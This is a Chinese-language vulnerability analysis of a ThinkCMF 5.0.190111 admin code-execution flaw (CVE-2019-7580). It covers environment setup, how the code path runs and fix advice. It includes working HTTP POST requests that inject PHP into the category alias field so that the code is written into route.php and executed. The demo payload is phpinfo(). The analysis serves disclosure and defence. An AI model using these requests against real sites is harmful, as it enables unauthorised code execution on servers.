某CMS-5.0.190111后台代码执行(CVE-2019-7580)
字数 972 2025-08-26 22:11:15
ThinkCMF 5.0.190111 后台代码执行漏洞(CVE-2019-7580)分析
漏洞概述
ThinkCMF 5.0.190111版本存在一个后台代码执行漏洞(CVE-2019-7580),攻击者可以通过构造特定的alias参数值,将恶意PHP代码写入data/conf/route.php文件,最终导致任意代码执行。
环境搭建
-
下载ThinkCMF 5.0.190111版本:
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip -
将除public目录外的文件移动到
ThinkCMF-5.0.190111目录下 -
修改
index.php文件:define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/'); -
完成安装过程
漏洞利用过程
第一步:注入恶意代码
发送以下POST请求将payload插入数据库并写入data/conf/route.php文件:
POST /portal/admin_category/addpost.html HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=session_id; admin_username=admin
parent_id=0&name=111&alias=a'=>array(""),phpinfo(),'b
第二步:触发代码执行
访问以下URL触发包含data/conf/route.php的操作:
/portal/admin_category/index.html
漏洞分析
代码执行流程
- 请求入口
index.php调用\think\App::run() - 通过URL解析确定处理请求的控制器为
AdminCategoryController.php的addPost函数 - 反射执行
addPost函数,获取请求参数并进行过滤 - 调用
PortalCategoryModel.php的addCategory函数执行实际添加分类操作
漏洞触发点
- 在
addCategory函数中,通过setRoute函数对数据库进行插入操作 - 从数据库查询路由数据并生成
$allroutes变量 - 创建
data/conf目录并将路由配置写入route.php文件 - 关键问题:未对
alias参数中的单引号进行过滤,导致可以闭合前后单引号插入恶意代码
文件写入过程
- 系统会先包含
app/route.php - 然后包含
data/conf/route.php - 最终执行注入的PHP代码
漏洞修复建议
- 对用户输入的
alias参数进行严格过滤,特别是单引号等特殊字符 - 升级到最新版本的ThinkCMF
- 对写入配置文件的操作进行严格的输入验证
PoC示例
POST /portal/admin_category/addpost.html HTTP/1.1
Host: 192.168.170.209
Content-Length: 183
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
Connection: close
parent_id=0&name=111&alias=1'=>array(""),phpinfo(),'2
后记
该漏洞是在复现CVE-2019-6713时发现的,通过分析file_put_contents调用和route.php文件的写入机制,最终定位到分类添加功能中的代码注入问题。